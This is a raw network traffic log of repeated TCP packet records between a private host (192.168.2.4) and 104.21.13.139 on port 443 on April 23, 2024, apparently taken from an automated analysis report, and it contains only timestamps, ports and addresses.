Apr 23, 2024 14:44:57.447364092 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.449136972 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.449160099 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.449187040 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.449191093 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.449219942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.449238062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.450978994 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.450993061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.451035023 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.451040030 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.451062918 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.451083899 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.452622890 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.452641010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.452706099 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.452711105 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.452743053 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.455194950 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.455210924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.455264091 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.455267906 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.455297947 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.456629992 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.456649065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.456681967 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.456686974 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.456712008 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.456727982 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.458420038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.458437920 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.458488941 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.458494902 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.458527088 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.460953951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.460967064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.461025953 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.461030960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.461064100 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.462721109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.462735891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.462798119 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.462804079 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.462835073 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.464454889 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.464473009 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.464510918 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.464514971 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.464541912 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.464559078 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.465831995 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.465851068 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.465889931 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.465897083 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.465919018 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.465936899 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.468458891 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.468472958 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.468521118 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.468527079 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.468560934 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.470305920 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.470319986 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.470367908 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.470371962 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.470401049 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.471975088 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.471993923 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.472035885 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.472039938 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.472073078 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.473679066 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.473697901 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.473746061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.473752022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.473783970 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.510654926 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.510677099 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.510723114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.510740042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.510756969 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.510776043 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.512445927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.512465000 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.512502909 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.512510061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.512537003 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.512553930 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.514178038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.514210939 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.514238119 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.514244080 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.514276028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.516664982 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.516680002 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.516731977 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.516736984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.516769886 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.536393881 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.536408901 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.536464930 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.536489964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.536528111 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.538158894 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.538172007 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.538245916 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.538252115 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.538290024 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.539892912 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.539911985 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.539953947 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.539959908 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.539988041 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.540003061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.541675091 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.541688919 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.541728020 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.541733980 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.541760921 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.541796923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.543529034 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.543544054 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.543577909 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.543582916 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.543615103 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.543636084 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.545655966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.545671940 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.545720100 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.545726061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.545763016 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.547426939 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.547446966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.547482014 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.547487974 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.547513008 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.547528028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.549218893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.549232960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.549287081 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.549295902 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.549335003 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.550940990 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.550956964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.550991058 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.550997019 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.551023960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.551042080 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.552848101 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.552862883 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.552915096 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.552922010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.552958965 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.554977894 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.554991961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.555037022 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.555046082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.555083036 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.556781054 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.556799889 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.556829929 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.556834936 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.556862116 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.556880951 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.558556080 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.558569908 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.558624029 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.558629990 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.558670998 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.560307980 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.560322046 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.560362101 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.560367107 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.560391903 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.560410976 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.562819004 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.562834024 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.562892914 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.562900066 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.562937975 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.564269066 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.564285040 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.564337015 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.564343929 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.564392090 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.565970898 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.565984964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.566032887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.566039085 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.566076994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.567747116 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.567759991 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.567796946 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.567802906 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.567828894 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.567845106 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.569547892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.569566965 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.569611073 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.569617033 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.569644928 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.569664001 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.571414948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.571428061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.571474075 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.571491003 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.571532965 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.572942019 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.572954893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.573003054 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.573023081 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.573059082 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.574641943 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.574656010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.574695110 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.574712992 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.574726105 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.574748039 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.576333046 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.576347113 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.576390028 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.576396942 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.576432943 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.578036070 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.578051090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.578095913 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.578103065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.578135014 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.579278946 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.579298973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.579328060 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.579340935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.579360008 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.579376936 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.581006050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.581018925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.581069946 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.581091881 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.581126928 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.582158089 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.582170963 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.582211971 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.582221985 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.582257986 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.583921909 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.583935022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.583972931 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.583988905 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.584028006 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.585707903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.585721016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.585767984 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.585777044 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.585810900 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.586736917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.586756945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.586786032 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.586795092 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.586807013 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.586826086 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.588746071 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.588758945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.588809013 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.588819027 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.588859081 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.589895964 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.589919090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.589942932 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.589950085 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.589962959 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.589984894 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.591639996 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.591653109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.591701031 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.591707945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.591743946 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.592767954 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.592781067 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.592812061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.592817068 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.592829943 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.592855930 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.594547033 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.594561100 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.594593048 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.594598055 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.594613075 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.594635010 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.596261978 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.596276999 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.596328974 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.596334934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.596370935 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.597735882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.597749949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.597784996 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.597790003 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.597805977 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.597826004 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.598737955 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.598766088 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.598795891 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.598799944 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.598813057 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.598836899 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.600622892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.600636959 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.600678921 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.600692987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.600728989 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.602315903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.602330923 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.602374077 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.602380991 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.602416039 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.603657007 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.603669882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.603728056 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.603734016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.603768110 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.604863882 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.604877949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.604919910 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.604924917 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.604964018 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.606611013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.606623888 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.606663942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.606667995 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.606678009 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.606700897 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.608283997 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.608298063 CEST	443	49738	104.21.13.139	192.168.2.4
